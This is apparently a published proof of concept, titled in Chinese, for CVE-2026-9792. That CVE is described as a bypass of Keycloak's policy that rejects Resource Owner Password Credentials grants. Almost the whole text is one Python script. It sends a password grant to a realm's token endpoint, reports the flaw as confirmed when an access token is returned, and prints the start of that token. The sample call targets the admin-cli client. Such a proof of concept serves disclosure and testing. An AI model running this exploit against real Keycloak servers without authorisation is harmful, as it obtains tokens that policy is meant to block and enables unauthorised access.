CVE-2026-9792 Keycloak ROPC策略绕过漏洞

# PoC for CVE-2026-9792: Keycloak reject-ropc-grant bypass # This script demonstrates the bypass of the ROPC rejection policy. import requests def check_ropc_bypass(target_url, client_id, username, password): token_endpoint = f"{target_url}/protocol/openid-connect/token" # Payload for Resource Owner Password Credentials grant payload = { "grant_type": "password", "client_id": client_id, "username": username, "password": password } try: response = requests.post(token_endpoint, data=payload) if response.status_code == 200 and "access_token" in response.json(): print("[+] Vulnerability Confirmed: ROPC grant allowed despite policy.") print(f"[+] Access Token: {response.json().get('access_token')[:50]}...") else: print("[-] ROPC blocked or request failed.") except Exception as e: print(f"Error: {e}") # Example usage # check_ropc_bypass("https://keycloak.example.com/realms/master", "admin-cli", "user", "pass")